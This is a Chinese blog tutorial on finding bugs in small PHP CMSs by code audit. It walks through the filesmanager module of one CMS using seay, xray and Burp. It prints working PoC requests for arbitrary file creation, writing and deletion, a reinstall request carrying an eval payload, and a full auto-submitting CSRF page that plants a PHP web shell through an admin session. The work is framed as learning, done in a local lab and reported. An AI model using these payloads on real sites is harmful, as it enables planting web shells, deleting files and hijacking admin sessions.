【漏洞挖掘 】 通用型漏洞挖掘思路技巧

0x01 前言

大概是在上半年提交了某个CMS的命令执行漏洞,现在过了那么久,也想通这次现挖掘通用型漏洞,整理一下挖掘思路,分享给大家。如果对网安和挖洞感兴趣的小伙伴又看不懂本文的话,可以直接跳转最后,有惊喜。

0x02 挖掘前期

一、CMS选择

如果你是第一次挖白盒漏洞,那么建议你像我一样,先找一些简单的来挖掘。
具体源码下载地址可以参考:

https://github.com/search?q=cms
https://search.gitee.com/?skin=rec&type=repository&q=cms
https://down.chinaz.com/
https://www.a5xiazai.com/

百度找找,肯定不止这些

那么应该怎么选择呢

(这里我是站在第一次挖掘,或者仅使用过扫描工具扫描的师傅的角度这样说的,如果做过开发,代码功底很强等情况,emm…当我没说。):

1、找最新版的版本较低的,例如1.1、1.2  
2、找github star不多的  
3、找源码总容量小的  
4、尽量不要找使用tp、yii、laravel等框架型CMS  

这里说一下理由:

1、如果cms版本高,说明开发有经常维护,同时也说明里面的简单漏洞已经被发现并且被提交并整改了。(具体这个可以看看CMS官网放出的更新日志)

2、为什么找github star不多的cms?很简单,使用的人不多,没人标星,功能也比较少。

3、源码少容易看啊,而且想着源代码就那么点,看着也不会太心累。

4、这是我个人的理解哈,因为就像很多人说的,第一个审的可以看看bluecms。

为什么?因为简单啊,tp框架首先各种C方法,I方法的,就够头疼了。

扯了那么多,总结一句话:  

跟挖SRC一样,如果你一开始就瞄着阿里SRC、百度SRC等来挖掘,一直挖不到洞,是不是心态崩了呢;如果你一开始借助nday的poc,结合fofa搜集资产,一下子就能挖到简单、小型企业的漏洞,虽然可能漏洞奖金不多、但是满满的成就感有没有~

  

代码审计也是一样的,一开始就找框架型的,MVC架构的CMS,不仅可能看不懂代码,还可能连路由都弄不懂呢。所以一开始还是找些简单的练练手比较好~  

二、环境准备

1、PHPstudy

PHP、中间件、数据库,一个软件搞定,反正我是觉得用着很香。
下载地址:
https://www.xp.cn/

2、代码扫描工具

目前的话我用的比较多的是seay和fortify。这里其实都一样,不是所有漏洞都是要通读代码来发现的,有的时候借助工具可以快很多。

https://github.com/f1tz/cnseay

3、BurpSuite

渗透测试神器级别的工具,这里不多介绍了,毕竟挖漏洞不抓包怎么行呢。

4、漏洞扫描工具

虽然我们拿到了源码,但是挖漏洞也不一定要从代码上进行呀,可以结合黑盒的方式,黑白盒一起,更容易挖到漏洞,也就是业内说的灰盒测试。

扫描工具这里推荐Xray+burp联动进行。

随便抓几个包,有没有漏洞一目了然,让我们可以在测试漏洞的时候,还同时进行扫描。

下载地址:
https://github.com/chaitin/xray/releases

5、编辑器

编辑器的作用是方便查看代码,在有需要的时候才用,这里可以算是我水字数吧,我个人比较喜欢nopad++,当然别的也是可以的,phpstorm最好,可以快捷进行函数跳转。

三、搭建环境

1、首先下载源码,解压并放到phpstudy安装目录下的WWW文件夹中

2、安装方法一般是请求http://127.0.0.1/install/就可以了,按照提示输入信息。

3、提示安装成功即可


0x03 挖掘中期


一、代码扫描

借助seay自带的自动审计功能进行代码扫描

二、黑白盒配合发现漏洞

这个其实是很有搞头的,这里没有详细说是因为当时确实重心在白盒上,实际上我感觉这个发现漏洞再去找对应的代码,会更加有趣些

1、浏览器设置代理,指向burp:127.0.0.1:8080

2、burp设置代理,指向xray:127.0.0.1:7777

3、开启xray被动扫描,命令:

./xray\_darwin\_amd64 webscan --listen 127.0.0.1:7777 \--html\-output test.html  

4、在每个功能点都点一点,就跟正常测黑盒即可

5、查看xray扫描结果

6、查看代码扫描结果

三、分析扫描结果

1、将结果一个个点击查看,分析漏洞是否真实存在
因为工具是按照正则匹配来进行扫描的,总会出现一些可能存在,但是实际不存在的情况,例如这个:

因为KaTeX parse error: Undefined control sequence: \[ at position 4: \_G\̲[̲'SYSTEM'\]\['PA…_G[‘SYSTEM’][‘PATH’]其实已经事先定义好了。

2、定位漏洞

1)发现一个file_get_contents,可控变量为$path

往前看,$path为我们直接get传入,只是做了一些限制与鉴权,没有进行过滤

$path = realpath($\_GET\['path'\]);  
if (!$path) {  
    if (!InArray('edit,save,del,mkdir,mkfile', $type) && !$\_G\['GET'\]\['JSON'\]) {  
        PkPopup('{content:"不存在的路径,请求路径:' . $\_GET\['path'\] . '",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');  
    }  
    ExitJson('不存在的路径,请求路径:' . $\_GET\['path'\]);  
}  
$\_G\['TEMP'\]\['PATH'\] = iconv('GBK', 'UTF-8//IGNORE', $path);  
if (strpos($path, $spath) !== 0) {  
    if (!InArray('edit,save,del,mkdir,mkfile', $type) && !$\_G\['GET'\]\['JSON'\]) {  
        PkPopup('{content:"越权操作,请求路径:' . $\_GET\['path'\] . '",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');  
    }  
    ExitJson('越权操作,请求路径:' . $\_GET\['path'\]);  
}  
  
switch ($type) {  
    case 'edit' :  
        if (filetype($path) != 'file') {  
            if ($\_G\['GET'\]\['JSON'\]) {  
                ExitJson('不存在的文件');  
            }  
            PkPopup('{content:"不存在的文件",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');  
        }  
        $suffix = substr($path, strrpos($path, '.') + 1);  
        if (!InArray($suffixs, $suffix)) {  
            if ($\_G\['GET'\]\['JSON'\]) {  
                ExitJson('不支持的文件格式');  
            }  
            PkPopup('{content:"不支持的文件格式",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');  
        }  
        $filecontent1 = file\_get\_contents($path);  
        $filecontent = htmlspecialchars($filecontent1, ENT\_QUOTES);  
        if ($filecontent1 && !$filecontent) {  
            if ($\_G\['GET'\]\['JSON'\]) {  
                ExitJson('不支持该文件编码,仅支持UTF-8');  
            }  
            PkPopup('{content:"不支持该文件编码,仅支持UTF-8",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');  
        }  
        if ($\_G\['GET'\]\['JSON'\]) {  
            ExitJson($filecontent1, TRUE);  
        }  
        $path = str\_replace('\\\\', '/', $path);  
        $paths = explode('/', $path);  
        $path = '';  
        for ($i = 0; $i < count($paths); $i++) {  
            if ($i == count($paths) - 1) {  
                $filename = $paths\[$i\];  
            } else {  
                $path .= $paths\[$i\] . '/';  
            }  
        }  
        ExitGourl('index.php?c=app&a=filesmanager:index&path=' . urlencode(realpath($path)) . '&editbtn=' . md5($filename));  
        break;  

2)往下看,对$path进行unlink(),即删除操作


case 'del' :

        $r = unlink($path);  
        ExitJson('操作完成', $r);  
        break;

3)再往下,传入mkname,使用file_put_contents进行文件创建,内容为空。

很明显只是检测是否存在重复创建的情况,未进行过滤。

case 'mkfile' :  
        $mkname = $\_GET\['mkname'\];  
        if (!$mkname) {  
            ExitJson('请输入目录或文件的名称');  
        }  
        if ($type == 'mkdir') {  
            if (file\_exists($path . "/{$mkname}")) {  
                ExitJson('目录已存在');  
            }  
            $r = mkdir($path . "/{$mkname}");  
        } else {  
            if (file\_exists($path . "/{$mkname}")) {  
                ExitJson('文件已存在');  
            }  
            $r = file\_put\_contents($path . "/{$mkname}", '');  
        }  
        ExitJson('操作完成', $r === FALSE ? FALSE : TRUE);  
        break;  
}  

3、研究路由,查看如何调用漏洞函数

1)首先查看这个漏洞路径为/app/filesmanager/index.php
字面上意思是在/app/目录下的一个文件管理的操作

2)回到网站,刚刚黑盒测试的时候,发现路由规律为:

请求了http://192.168.150.9/index.php?c=read&id=1&page=1后,会发出这样的一个请求:/index.php?c=app&a=puyuetianeditor:index&s=myfiles&page=1


通过a=puyuetianeditor:index,定位文件位置为/app/puyuetianeditor/index.php

3)在文件中看到继续请求了’/app/puyuetianeditor/phpscript/’ . $_G[‘GET’][‘S’] . '.php,在URL中可以看到s传入的参数为myfiles

所以可以定位文件路径为:/app/puyuetianeditor/phpscript/myfiles.php

4)漏洞路径/app/filesmanager/index.php即可以对应URL

/?c=app&a=filesmanager:index  

四、验证漏洞

任意创建文件

1、搭建网站并登录进网站后台

2、漏洞存在点为/app/filesmanager/index.php

3、进行一些操作后,通过file_put_contents创建文件
poc:

http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=mkfile&mkname=123.php  

4、在网站根目录可以看到文件创建成功

任意文件写入

poc:

http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=save&path=123.php  
POST:  
filecontent=<?php phpinfo();?>  

漏洞文件存在的路径为/app/filesmanager/index.php

可以看到文件内容成功写入

尝试执行命令

任意文件删除

poc:

http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=del&path=123.php  

漏洞文件存在的路径为/app/filesmanager/index.php

可以看到123.php文件已成功删除。

五、组合漏洞扩大成果

1、任意文件删除配合系统重装(失败)

以前就有看到过这样的漏洞,因为系统重装的时候,会将用户输入的配置信息写入到php文件中,那么如果可以输入代码,便可以成功执行了,这里尝试一下。

1)首先查看index.php文件

只要install.locked文件存在即表示网站已安装

2)再看/install/index.php,可以看到也是这个文件存在即不能重装系统。

3)通过任意文件删除,将此文件进行删除:

http://192.168.150.9/index.php?c=app&a=filesmanager:index&type=del&path=C://phpStudy/WWW/install/install.locked  

4)访问/install/index.php即可进行重装系统操作

5)正常执行,在step=2的时候,输入数据库等信息

定位到/phpscript/environment.php文件

再到/template/environment.hst

发现关键字mysql_username

全局搜索一下,定位文件位置:

可以看到配置信息最后会写入到这里。

6)抓取传入信息的数据包,进行测试

多次fuzz,确认确实可以写入一些东西

POST /install/index.php?step=3 HTTP/1.1  
Host: 192.168.150.9  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0  
Accept: application/json, text/javascript, \*/\*; q=0.01  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 302  
Origin: http://192.168.150.9  
Connection: close  
Referer: http://192.168.150.9/install/index.php?step=2  
Cookie: PHPSESSID=b9imt0v97o8hsml01jr0tro9n3; UIA=KXoyLywxNlo2YDQtLl8tX2BlMjAqLzUqX103Y1xlZWBcMzFeXi4xXjQsYDBeMC8tZDEsXjIxMCoxLjIvXmQ1Y14w; app\_puyuetianeditor\_editcontent=%3Cbr%3E  
  
\_webos=\*&mysql\_type=mysql&mysql\_location=127.0.0.1&mysql\_username=root&mysql\_password=root&mysql\_database='eval($\_REQUEST\[1\])&mysql\_prefix=pk\_&mysql\_charset=set+names+utf8&adminusername=phpinfo();&adminpassword=phpinfo();&adminemail=admin%40qq.com&hs\_username=&hs\_password=&hs\_domain=192.168.150.9  

7)最后发现不能传入;,否则会报错

8)假设传入进去了,又会显示403

9)感觉有机会,后面就看师傅们尝试了。。。

2、任意文件写入配合CSRF(成功)

在dedecms中看到过的漏洞,因为后台的任意写文件在没有管理员权限的支持下无法利用,那么倘若配合CSRF漏洞,借用管理员的cookie便可以直接执行,扩大漏洞危害。

在这里尝试一下:

1)首先抓取写入文件的数据包,可以看到没有明显的token等字段

2)在漏洞文件中只是看到了权限检测

3)使用burp生成任意文件写入的CSRF漏洞POC,保存为test.html

4)生成任意文件创建的CSRF漏洞POC

5)将两个文件整合到一起,并设置自动提交

<html\>  
  <!-- CSRF PoC - generated by Burp Suite Professional -->  
  <body\>  
  <script\>history.pushState('', '', '/')</script\>  
    <form id\='test1' action\="http://192.168.150.9/index.php"\>  
      <input type\="hidden" name\="c" value\="app" />  
      <input type\="hidden" name\="a" value\="filesmanager&#58;index" />  
      <input type\="hidden" name\="type" value\="mkfile" />  
      <input type\="hidden" name\="mkname" value\="123&#46;php" />  
      <input type\="submit" value\="Submit request" />  
    </form\>  
    <form id\='test2' action\="http://192.168.150.9/index.php?c=app&a=filesmanager:index&type=save&path=123.php" method\="POST"\>  
      <input type\="hidden" name\="filecontent" value\="&lt;&#63;php&#32;eval&#40;&#36;&#95;REQUEST&#91;1&#93;&#41;&#59;&#63;&gt;" />  
      <input type\="submit" value\="Submit request" />  
    </form\>  
    <script\>  
        function test1() {  
            document.getElementById("test1").submit();  
        }  
        function test2() {  
            document.getElementById("test2").submit();  
        }  
        setTimeout(test1,100)  
        setTimeout(test2,200)  
    </script\>  
  </body\>  
</html\>  

6)在已登录的浏览器中打开test.html文件

跳转了几次后,显示ok,保存失败

跟前面任意文件写入的返回是一样的,在网站根目录可以看到已经成功写入了

执行命令


0x04 挖掘后期&总结

挖掘后干嘛?提交漏洞呗~

好的,这个算是刚开始学习没多久挖掘到的漏洞,其实现在觉得技术含量不高,发现漏洞也不难,主要想分享一下过程以及思路。

最后,希望看到这篇文章到小伙伴也能很快挖掘到通用型漏洞~

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

请添加图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值